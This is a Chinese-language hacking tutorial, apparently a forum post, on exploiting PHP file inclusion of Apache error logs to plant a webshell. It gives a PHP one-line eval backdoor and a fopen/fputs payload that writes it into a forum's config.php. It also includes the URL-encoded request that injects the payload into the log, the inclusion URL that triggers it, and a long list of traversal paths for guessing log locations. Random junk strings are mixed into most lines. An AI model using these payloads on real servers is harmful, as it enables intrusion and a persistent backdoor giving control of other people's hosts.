php包含apache日志写马

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因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
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比如还是这句一句话木马
/ e, D' E; h& s* z2 f; L<?eval($_POST[cmd]);?>   

! S. _7 o9 L+ X& ~( k7 r+ f4 U到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

% D' l, L$ g1 x# m) _我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
$ }/ G( U9 Z" k' j; x2 a转换为
* v% \6 u$ m! t% |" w: O' h3 w%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
6 [0 H) A7 D* U! u2 mfclose%28%24fp%29%3B%3F%3E
2 c0 n  X8 d# ]4 u& r/ M2 e我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
: {& i6 b. D' W9 k% w) N* }%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
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$ J/ o* R! O8 @这样webshell就写入成功了，config.php里就写入一句木马语句
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http://www.xxx.com/forum/config.php这个就成了我们的webshell
6 I! D2 {$ _$ d* J" |直接用lanker的客户端一连，主机就是你的了。
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PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
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# {% p( O1 ]) H7 s. Y7 R其他的日志路径，你可以去猜，也可以参照这里。
1 ~4 \5 E. o- x3 _../../../../../../../../../../var/log/httpd/access_log
  b4 j* v9 R2 a5 `../../../../../../../../../../var/log/httpd/error_log
$ _( M6 v4 w7 f! D../apache/logs/error.log
; P4 {, X# s+ S- V../apache/logs/access.log
../../apache/logs/error.log
. k6 k4 i0 r  m* E0 a9 W../../apache/logs/access.log
9 r" d) w2 R7 E2 @3 V, s1 G9 s4 ^../../../apache/logs/error.log
3 p' J' R2 z- Y3 y! O# \: ]9 k../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
7 A* F# x" f1 L; L1 I../../../../../../../../../../usr/local/apache/logs/access.log
1 }. j' f) o; L/ t; I../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
* b0 s2 Z/ z: A  v: V3 @/ E../../../../../../../../../../var/www/logs/error_log
  X: `7 n: V( h' v# q7 x../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
3 b. d" N" ]7 Y* Z% }  I7 _, N../../../../../../../../../../usr/local/apache/logs/error.log
$ V  b* t, Y/ y* x3 Z8 N../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
5 k2 M. ^: L% ]( a( e( ~../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
/ S( b, D$ g2 F../apache/logs/access.log
; L( w( P2 N  e' m../../apache/logs/error.log
2 A) i! G  V& a1 f$ i../../apache/logs/access.log
../../../apache/logs/error.log
+ m" _- Q: I) J* S  c' O. J; c../../../apache/logs/access.log
/etc/httpd/logs/acces_log
! M+ d# R5 z5 q/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
7 n  e9 K: n! K( n& |/etc/httpd/logs/error.log
, z6 U( W! @' A* g/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
" z9 ^4 D9 z& X; T% I/var/log/apache/access_log
, h/ v  g! k8 L) L! f, \; T" q" D/var/log/apache/access.log
* U- e! h% e: `! u. p! L6 f/var/log/access_log
1 A! d1 a& h. K( Y3 m/var/www/logs/error_log
" {5 M- Z( u: L8 ^$ \/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
, |; C" @: f1 I$ X  D) E/var/log/apache/error_log
/var/log/apache/error.log
' t3 f5 c+ \4 K1 U/var/log/access_log
/var/log/error_log